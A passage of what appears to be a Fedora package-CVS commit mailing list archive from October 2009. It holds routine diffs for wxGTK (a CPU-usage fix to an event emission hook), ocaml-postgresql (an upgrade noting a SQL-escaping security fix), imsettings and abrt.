-event_emission_hook(GSignalInvocationHint*, guint, const GValue*, gpointer)
+event_emission_hook(GSignalInvocationHint*, guint, const GValue*, gpointer data)
 {
     wxapp_install_idle_handler();
+    bool* hook_installed = (bool*)data;
+    *hook_installed = false;
     // remove hook
     return false;
 }
@@ -159,12 +161,17 @@
 // add emission hook for "event" signal, to re-install idle handler when needed
 static inline void wxAddEmissionHook()
 {
+    static bool hook_installed;
     GType widgetType = GTK_TYPE_WIDGET;
-    // if GtkWidget type is loaded
-    if (g_type_class_peek(widgetType) != NULL)
+    // if hook not installed and GtkWidget type is loaded
+    if (!hook_installed && g_type_class_peek(widgetType))
     {
-        guint sig_id = g_signal_lookup("event", widgetType);
-        g_signal_add_emission_hook(sig_id, 0, event_emission_hook, NULL, NULL);
+        static guint sig_id;
+        if (sig_id == 0)
+            sig_id = g_signal_lookup("event", widgetType);
+        hook_installed = true;
+        g_signal_add_emission_hook(
+            sig_id, 0, event_emission_hook, &hook_installed, NULL);
     }
 }
 


Index: wxGTK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxGTK/F-12/wxGTK.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- wxGTK.spec	27 Jul 2009 07:30:36 -0000	1.48
+++ wxGTK.spec	16 Oct 2009 10:17:00 -0000	1.49
@@ -4,7 +4,7 @@
 
 Name:           wxGTK
 Version:        2.8.10
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        GTK2 port of the wxWidgets GUI library
 # The wxWindows licence is the LGPL with a specific exemption allowing
 # distribution of derived binaries under any terms. (This will eventually
@@ -18,6 +18,8 @@ Source0:        http://dl.sf.net/wxwindo
 Patch0:         %{name}-2.8.10-gsocket.patch
 # http://trac.wxwidgets.org/ticket/10993
 Patch1:         %{name}-2.8.10-CVE-2009-2369.patch
+# http://trac.wxwidgets.org/ticket/11315
+Patch2:         %{name}-2.8.10-wxTimer-fix.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -101,6 +103,7 @@ libraries or the X Window System.
 %setup -q -n %{name}-%{version}
 %patch0 -p1 -b .gsocket
 %patch1 -p0 -b .CVE-2009-2369
+%patch2 -p0 -b .wxTimer-fix
 
 sed -i -e 's|/usr/lib\b|%{_libdir}|' wx-config.in configure
 
@@ -257,6 +260,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-5 
+- add fix for excessive CPU usage (#494425)
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.10-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From sharkcz at fedoraproject.org  Fri Oct 16 10:18:09 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 10:18:09 +0000 (UTC)
Subject: rpms/wxGTK/F-11 wxGTK-2.8.10-wxTimer-fix.patch, NONE, 1.1 wxGTK.spec,
	1.46, 1.47
Message-ID: <20091016101809.41BF311C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/wxGTK/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10730

Modified Files:
	wxGTK.spec 
Added Files:
	wxGTK-2.8.10-wxTimer-fix.patch 
Log Message:
* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-3
- add fix for excessive CPU usage (#494425)


wxGTK-2.8.10-wxTimer-fix.patch:
 app.cpp |   17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

--- NEW FILE wxGTK-2.8.10-wxTimer-fix.patch ---
Index: src/gtk/app.cpp
===================================================================
--- src/gtk/app.cpp	(revision 62396)
+++ src/gtk/app.cpp	(revision 62397)
@@ -149,9 +149,11 @@
 // One-shot emission hook for "event" signal, to install idle handler.
 // This will be called when the "event" signal is issued on any GtkWidget object.
 static gboolean
-event_emission_hook(GSignalInvocationHint*, guint, const GValue*, gpointer)
+event_emission_hook(GSignalInvocationHint*, guint, const GValue*, gpointer data)
 {
     wxapp_install_idle_handler();
+    bool* hook_installed = (bool*)data;
+    *hook_installed = false;
     // remove hook
     return false;
 }
@@ -159,12 +161,17 @@
 // add emission hook for "event" signal, to re-install idle handler when needed
 static inline void wxAddEmissionHook()
 {
+    static bool hook_installed;
     GType widgetType = GTK_TYPE_WIDGET;
-    // if GtkWidget type is loaded
-    if (g_type_class_peek(widgetType) != NULL)
+    // if hook not installed and GtkWidget type is loaded
+    if (!hook_installed && g_type_class_peek(widgetType))
     {
-        guint sig_id = g_signal_lookup("event", widgetType);
-        g_signal_add_emission_hook(sig_id, 0, event_emission_hook, NULL, NULL);
+        static guint sig_id;
+        if (sig_id == 0)
+            sig_id = g_signal_lookup("event", widgetType);
+        hook_installed = true;
+        g_signal_add_emission_hook(
+            sig_id, 0, event_emission_hook, &hook_installed, NULL);
     }
 }
 


Index: wxGTK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxGTK/F-11/wxGTK.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- wxGTK.spec	15 Jul 2009 17:52:34 -0000	1.46
+++ wxGTK.spec	16 Oct 2009 10:18:09 -0000	1.47
@@ -4,7 +4,7 @@
 
 Name:           wxGTK
 Version:        2.8.10
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        GTK2 port of the wxWidgets GUI library
 # The wxWindows licence is the LGPL with a specific exemption allowing
 # distribution of derived binaries under any terms. (This will eventually
@@ -16,6 +16,8 @@ Source0:        http://dl.sf.net/wxwindo
 
 # http://trac.wxwidgets.org/ticket/10993
 Patch0:         %{name}-2.8.10-CVE-2009-2369.patch
+# http://trac.wxwidgets.org/ticket/11315
+Patch1:         %{name}-2.8.10-wxTimer-fix.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -98,6 +100,7 @@ libraries or the X Window System.
 %prep
 %setup -q -n %{name}-%{version}
 %patch0 -p0 -b .CVE-2009-2369
+%patch1 -p0 -b .wxTimer-fix
 
 sed -i -e 's|/usr/lib\b|%{_libdir}|' wx-config.in configure
 
@@ -250,6 +253,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-3
+- add fix for excessive CPU usage (#494425)
+
 * Wed Jul 15 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-2
 - add fix for CVE-2009-2369 (#511279)
 



From rjones at fedoraproject.org  Fri Oct 16 10:18:58 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 10:18:58 +0000 (UTC)
Subject: rpms/ocaml-postgresql/F-10 .cvsignore, 1.3,
	1.4 ocaml-postgresql.spec, 1.6, 1.7 sources, 1.3, 1.4
Message-ID: <20091016101858.6A31611C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-postgresql/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11044

Modified Files:
	.cvsignore ocaml-postgresql.spec sources 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1
- New upstream version 1.12.3.
- This contains a SECURITY fix for:
  https://bugzilla.redhat.com/show_bug.cgi?id=529325
  CVE-2009-2943 ocaml-postgresql: Missing escape function (DSA-1909-1)
  HOWEVER you are not protected until you change your code to
  use the new connection#escape_string method.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	4 Apr 2008 11:53:16 -0000	1.3
+++ .cvsignore	16 Oct 2009 10:18:58 -0000	1.4
@@ -1 +1 @@
-postgresql-ocaml-1.8.2.tar.bz2
+release-1.12.3.tar.bz2


Index: ocaml-postgresql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-10/ocaml-postgresql.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- ocaml-postgresql.spec	23 Apr 2008 11:10:18 -0000	1.6
+++ ocaml-postgresql.spec	16 Oct 2009 10:18:58 -0000	1.7
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-postgresql
-Version:        1.8.2
-Release:        4%{?dist}
+Version:        1.12.3
+Release:        1%{?dist}
 Summary:        OCaml library for accessing PostreSQL databases
 
 Group:          Development/Libraries
@@ -91,6 +91,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1
+- New upstream version 1.12.3.
+- This contains a SECURITY fix for:
+  https://bugzilla.redhat.com/show_bug.cgi?id=529325
+  CVE-2009-2943 ocaml-postgresql: Missing escape function (DSA-1909-1)
+  HOWEVER you are not protected until you change your code to
+  use the new connection#escape_string method.
+
 * Wed Apr 23 2008 Richard W.M. Jones <rjones at redhat.com> - 1.8.2-4
 - Rebuild for OCaml 3.10.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	4 Apr 2008 11:53:16 -0000	1.3
+++ sources	16 Oct 2009 10:18:58 -0000	1.4
@@ -1 +1 @@
-3ba2746c46e223d82b3ba32835ba6635  postgresql-ocaml-1.8.2.tar.bz2
+64d6fdc1a23dc3315c61771f1d28f592  release-1.12.3.tar.bz2



From rjones at fedoraproject.org  Fri Oct 16 10:19:00 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 10:19:00 +0000 (UTC)
Subject: rpms/ocaml-postgresql/F-11 .cvsignore, 1.5,
	1.6 ocaml-postgresql.spec, 1.13, 1.14 sources, 1.5, 1.6
Message-ID: <20091016101900.3549A11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-postgresql/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11025

Modified Files:
	.cvsignore ocaml-postgresql.spec sources 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1
- New upstream version 1.12.3.
- This contains a SECURITY fix for:
  https://bugzilla.redhat.com/show_bug.cgi?id=529325
  CVE-2009-2943 ocaml-postgresql: Missing escape function (DSA-1909-1)
  HOWEVER you are not protected until you change your code to
  use the new connection#escape_string method.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Mar 2009 14:06:41 -0000	1.5
+++ .cvsignore	16 Oct 2009 10:19:00 -0000	1.6
@@ -1 +1 @@
-release-1.10.3.tar.bz2
+release-1.12.3.tar.bz2


Index: ocaml-postgresql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-11/ocaml-postgresql.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- ocaml-postgresql.spec	10 Mar 2009 14:06:41 -0000	1.13
+++ ocaml-postgresql.spec	16 Oct 2009 10:19:00 -0000	1.14
@@ -2,7 +2,7 @@
 %define debug_package %{nil}
 
 Name:           ocaml-postgresql
-Version:        1.10.3
+Version:        1.12.3
 Release:        1%{?dist}
 Summary:        OCaml library for accessing PostgreSQL databases
 
@@ -91,6 +91,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1
+- New upstream version 1.12.3.
+- This contains a SECURITY fix for:
+  https://bugzilla.redhat.com/show_bug.cgi?id=529325
+  CVE-2009-2943 ocaml-postgresql: Missing escape function (DSA-1909-1)
+  HOWEVER you are not protected until you change your code to
+  use the new connection#escape_string method.
+
 * Tue Mar 10 2009 Richard W.M. Jones <rjones at redhat.com> - 1.10.3-1
 - New upstream version 1.10.3.
 - Fix URL.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Mar 2009 14:06:41 -0000	1.5
+++ sources	16 Oct 2009 10:19:00 -0000	1.6
@@ -1 +1 @@
-ebac79d610e5be1cfb39b69be2865e5d  release-1.10.3.tar.bz2
+64d6fdc1a23dc3315c61771f1d28f592  release-1.12.3.tar.bz2



From rjones at fedoraproject.org  Fri Oct 16 10:19:01 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 10:19:01 +0000 (UTC)
Subject: rpms/ocaml-postgresql/F-12 .cvsignore, 1.6,
	1.7 ocaml-postgresql.spec, 1.16, 1.17 sources, 1.6, 1.7
Message-ID: <20091016101901.D1C3511C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-postgresql/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11004

Modified Files:
	.cvsignore ocaml-postgresql.spec sources 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1
- New upstream version 1.12.3.
- This contains a SECURITY fix for:
  https://bugzilla.redhat.com/show_bug.cgi?id=529325
  CVE-2009-2943 ocaml-postgresql: Missing escape function (DSA-1909-1)
  HOWEVER you are not protected until you change your code to
  use the new connection#escape_string method.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	23 May 2009 08:12:43 -0000	1.6
+++ .cvsignore	16 Oct 2009 10:19:01 -0000	1.7
@@ -1 +1 @@
-release-1.11.1.tar.bz2
+release-1.12.3.tar.bz2


Index: ocaml-postgresql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-12/ocaml-postgresql.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- ocaml-postgresql.spec	25 Jul 2009 20:03:37 -0000	1.16
+++ ocaml-postgresql.spec	16 Oct 2009 10:19:01 -0000	1.17
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-postgresql
-Version:        1.11.1
-Release:        2%{?dist}
+Version:        1.12.3
+Release:        1%{?dist}
 Summary:        OCaml library for accessing PostgreSQL databases
 
 Group:          Development/Libraries
@@ -92,6 +92,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1
+- New upstream version 1.12.3.
+- This contains a SECURITY fix for:
+  https://bugzilla.redhat.com/show_bug.cgi?id=529325
+  CVE-2009-2943 ocaml-postgresql: Missing escape function (DSA-1909-1)
+  HOWEVER you are not protected until you change your code to
+  use the new connection#escape_string method.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	23 May 2009 08:12:43 -0000	1.6
+++ sources	16 Oct 2009 10:19:01 -0000	1.7
@@ -1 +1 @@
-d293714bd15824db031a47d1c42c1f36  release-1.11.1.tar.bz2
+64d6fdc1a23dc3315c61771f1d28f592  release-1.12.3.tar.bz2



From sharkcz at fedoraproject.org  Fri Oct 16 10:20:36 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 10:20:36 +0000 (UTC)
Subject: rpms/wxGTK/F-10 wxGTK-2.8.10-wxTimer-fix.patch, NONE, 1.1 wxGTK.spec,
	1.44, 1.45
Message-ID: <20091016102036.B89DD11C029F@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/wxGTK/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11617

Modified Files:
	wxGTK.spec 
Added Files:
	wxGTK-2.8.10-wxTimer-fix.patch 
Log Message:
* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-3
- add fix for excessive CPU usage (#494425)


wxGTK-2.8.10-wxTimer-fix.patch:
 app.cpp |   17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

--- NEW FILE wxGTK-2.8.10-wxTimer-fix.patch ---
Index: src/gtk/app.cpp
===================================================================
--- src/gtk/app.cpp	(revision 62396)
+++ src/gtk/app.cpp	(revision 62397)
@@ -149,9 +149,11 @@
 // One-shot emission hook for "event" signal, to install idle handler.
 // This will be called when the "event" signal is issued on any GtkWidget object.
 static gboolean
-event_emission_hook(GSignalInvocationHint*, guint, const GValue*, gpointer)
+event_emission_hook(GSignalInvocationHint*, guint, const GValue*, gpointer data)
 {
     wxapp_install_idle_handler();
+    bool* hook_installed = (bool*)data;
+    *hook_installed = false;
     // remove hook
     return false;
 }
@@ -159,12 +161,17 @@
 // add emission hook for "event" signal, to re-install idle handler when needed
 static inline void wxAddEmissionHook()
 {
+    static bool hook_installed;
     GType widgetType = GTK_TYPE_WIDGET;
-    // if GtkWidget type is loaded
-    if (g_type_class_peek(widgetType) != NULL)
+    // if hook not installed and GtkWidget type is loaded
+    if (!hook_installed && g_type_class_peek(widgetType))
     {
-        guint sig_id = g_signal_lookup("event", widgetType);
-        g_signal_add_emission_hook(sig_id, 0, event_emission_hook, NULL, NULL);
+        static guint sig_id;
+        if (sig_id == 0)
+            sig_id = g_signal_lookup("event", widgetType);
+        hook_installed = true;
+        g_signal_add_emission_hook(
+            sig_id, 0, event_emission_hook, &hook_installed, NULL);
     }
 }
 


Index: wxGTK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxGTK/F-10/wxGTK.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- wxGTK.spec	14 Aug 2009 14:30:54 -0000	1.44
+++ wxGTK.spec	16 Oct 2009 10:20:36 -0000	1.45
@@ -6,7 +6,7 @@
 
 Name:           wxGTK
 Version:        2.8.10
-Release:        2%{?dist}.1
+Release:        3%{?dist}
 Summary:        GTK2 port of the wxWidgets GUI library
 # The wxWindows licence is the LGPL with a specific exemption allowing
 # distribution of derived binaries under any terms. (This will eventually
@@ -18,6 +18,8 @@ Source0:        http://dl.sf.net/wxwindo
 
 # http://trac.wxwidgets.org/ticket/10993
 Patch0:         %{name}-2.8.10-CVE-2009-2369.patch
+# http://trac.wxwidgets.org/ticket/11315
+Patch1:         %{name}-2.8.10-wxTimer-fix.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -128,6 +130,7 @@ libraries or the X Window System.
 %prep
 %setup -q
 %patch0 -p0 -b .CVE-2009-2369
+%patch1 -p0 -b .wxTimer-fix
 
 sed -i -e 's|/usr/lib\b|%{_libdir}|' wx-config.in configure
 
@@ -273,6 +276,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-3
+- add fix for excessive CPU usage (#494425)
+
 * Fri Aug 14 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-2.1
 - fix default plugin path for 64 bit arches
 



From tagoh at fedoraproject.org  Fri Oct 16 10:22:59 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Fri, 16 Oct 2009 10:22:59 +0000 (UTC)
Subject: rpms/imsettings/devel imsettings-constraint-of-language.patch, 1.3, 
	1.4 imsettings.spec, 1.43, 1.44
Message-ID: <20091016102259.1EA7411C00E5@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/imsettings/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12250

Modified Files:
	imsettings-constraint-of-language.patch imsettings.spec 
Log Message:
* Fri Oct 16 2009 Akira TAGOH <tagoh at redhat.com> - 0.107.4-2
- Run IM for Mailthili by default. (#529144)

imsettings-constraint-of-language.patch:
 xinput.sh.in.in |   15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

Index: imsettings-constraint-of-language.patch
===================================================================
RCS file: /cvs/pkgs/rpms/imsettings/devel/imsettings-constraint-of-language.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- imsettings-constraint-of-language.patch	10 Mar 2009 10:13:19 -0000	1.3
+++ imsettings-constraint-of-language.patch	16 Oct 2009 10:22:58 -0000	1.4
@@ -7,7 +7,7 @@ diff -pruN imsettings-0.106.0.1.orig/dat
  elif [ -r "$SYS_XINPUTRC" ]; then
 -    source "$SYS_XINPUTRC"
 +    # FIXME: This hardcoded list has to be gone in the future.
-+    _language_list="as bn gu hi ja kn ko ml mr ne or pa si ta te th ur vi zh"
++    _language_list="as bn gu hi ja kn ko mai ml mr ne or pa si ta te th ur vi zh"
 +    _sourced_xinputrc=0
 +    for i in $_language_list; do
 +        if echo $tmplang | grep -q -E "^$i"; then


Index: imsettings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/imsettings/devel/imsettings.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- imsettings.spec	28 Sep 2009 12:50:02 -0000	1.43
+++ imsettings.spec	16 Oct 2009 10:22:58 -0000	1.44
@@ -1,6 +1,6 @@
 Name:		imsettings
 Version:	0.107.4
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:	LGPLv2+
 URL:		http://code.google.com/p/imsettings/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -211,6 +211,9 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Akira TAGOH <tagoh at redhat.com> - 0.107.4-2
+- Run IM for Mailthili by default. (#529144)
+
 * Mon Sep 28 2009 Akira TAGOH <tagoh at redhat.com> - 0.107.4-1
 - New upstream release.
   - Update the translations.



From rjones at fedoraproject.org  Fri Oct 16 10:24:21 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 10:24:21 +0000 (UTC)
Subject: rpms/ocaml-postgresql/F-10 ocaml-postgresql.spec,1.7,1.8
Message-ID: <20091016102421.EC26A11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-postgresql/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12703

Modified Files:
	ocaml-postgresql.spec 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1.fc10.2
- Fix build process for new upstream tarball layout.



Index: ocaml-postgresql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-10/ocaml-postgresql.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- ocaml-postgresql.spec	16 Oct 2009 10:18:58 -0000	1.7
+++ ocaml-postgresql.spec	16 Oct 2009 10:24:21 -0000	1.8
@@ -3,13 +3,13 @@
 
 Name:           ocaml-postgresql
 Version:        1.12.3
-Release:        1%{?dist}
+Release:        1%{?dist}.2
 Summary:        OCaml library for accessing PostreSQL databases
 
 Group:          Development/Libraries
 License:        LGPLv2+ with exceptions
 URL:            http://www.ocaml.info/home/ocaml_sources.html#toc13
-Source0:        http://www.ocaml.info/ocaml_sources/postgresql-ocaml-%{version}.tar.bz2
+Source0:        http://hg.ocaml.info/release/postgresql-ocaml/archive/release-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  ocaml >= 3.10.0
@@ -44,7 +44,7 @@ developing applications that use %{name}
 
 
 %prep
-%setup -q -n postgresql-ocaml-%{version}
+%setup -q -n postgresql-ocaml-release-%{version}
 
 
 %build
@@ -82,7 +82,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
-%doc LICENSE AUTHORS Changes README examples
+%doc LICENSE AUTHORS Changelog README.txt examples
 %if %opt
 %{_libdir}/ocaml/postgresql/*.a
 %{_libdir}/ocaml/postgresql/*.cmxa
@@ -91,6 +91,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1.fc10.2
+- Fix build process for new upstream tarball layout.
+
 * Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1
 - New upstream version 1.12.3.
 - This contains a SECURITY fix for:



From rjones at fedoraproject.org  Fri Oct 16 10:25:24 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 10:25:24 +0000 (UTC)
Subject: rpms/ocaml-postgresql/F-11 ocaml-postgresql.spec,1.14,1.15
Message-ID: <20091016102524.ED9F511C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-postgresql/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12935

Modified Files:
	ocaml-postgresql.spec 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1.fc11.2
- Fix build process for new upstream tarball layout.



Index: ocaml-postgresql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-postgresql/F-11/ocaml-postgresql.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- ocaml-postgresql.spec	16 Oct 2009 10:19:00 -0000	1.14
+++ ocaml-postgresql.spec	16 Oct 2009 10:25:24 -0000	1.15
@@ -3,7 +3,7 @@
 
 Name:           ocaml-postgresql
 Version:        1.12.3
-Release:        1%{?dist}
+Release:        1%{?dist}.2
 Summary:        OCaml library for accessing PostgreSQL databases
 
 Group:          Development/Libraries
@@ -82,7 +82,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
-%doc LICENSE AUTHORS Changes README.txt examples
+%doc LICENSE AUTHORS Changelog README.txt examples
 %if %opt
 %{_libdir}/ocaml/postgresql/*.a
 %{_libdir}/ocaml/postgresql/*.cmxa
@@ -91,6 +91,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1.fc11.2
+- Fix build process for new upstream tarball layout.
+
 * Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.12.3-1
 - New upstream version 1.12.3.
 - This contains a SECURITY fix for:



From jmoskovc at fedoraproject.org  Fri Oct 16 10:29:31 2009
From: jmoskovc at fedoraproject.org (=?utf-8?b?SmnFmcOtIE1vc2tvdsSNw6Fr?=)
Date: Fri, 16 Oct 2009 10:29:31 +0000 (UTC)
Subject: rpms/abrt/F-12 .cvsignore, 1.11, 1.12 abrt.spec, 1.16, 1.17 sources,
	1.12, 1.13
Message-ID: <20091016102931.1B31711C00E5@cvs1.fedora.phx.redhat.com>

Author: jmoskovc

Update of /cvs/extras/rpms/abrt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13919

Modified Files:
	.cvsignore abrt.spec sources 
Log Message:
- new version
- many fixes



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/abrt/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	22 Sep 2009 10:11:54 -0000	1.11
+++ .cvsignore	16 Oct 2009 10:29:30 -0000	1.12
@@ -1 +1 @@
-abrt-0.0.9.tar.gz
+abrt-0.0.10.tar.gz


Index: abrt.spec
===================================================================
RCS file: /cvs/extras/rpms/abrt/F-12/abrt.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- abrt.spec	24 Sep 2009 08:55:19 -0000	1.16
+++ abrt.spec	16 Oct 2009 10:29:30 -0000	1.17
@@ -3,8 +3,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 Summary: Automatic bug detection and reporting tool
 Name: abrt
-Version: 0.0.9
-Release: 2%{?dist}
+Version: 0.0.10
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
 URL: https://fedorahosted.org/abrt/
@@ -24,6 +24,7 @@ BuildRequires: python-devel
 BuildRequires: gettext
 BuildRequires: nss-devel
 BuildRequires: polkit-devel
+BuildRequires: libzip-devel, libtar-devel, bzip2-devel, zlib-devel
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: %{name}-libs = %{version}-%{release}
 
@@ -51,7 +52,8 @@ Development libraries and headers for %{
 Summary: %{name}'s gui
 Group: User Interface/Desktops
 Requires: %{name} = %{version}-%{release}
-Requires: dbus-python, pygtk2, pygtk2-libglade,gnome-python2-gnomevfs
+Requires: dbus-python, pygtk2, pygtk2-libglade,
+Requires: gnome-python2-gnomevfs, gnome-python2-gnomekeyring
 # only if gtk2 version < 2.17
 #Requires: python-sexy
 Provides: abrt-applet = %{version}-%{release}
@@ -248,10 +250,12 @@ fi
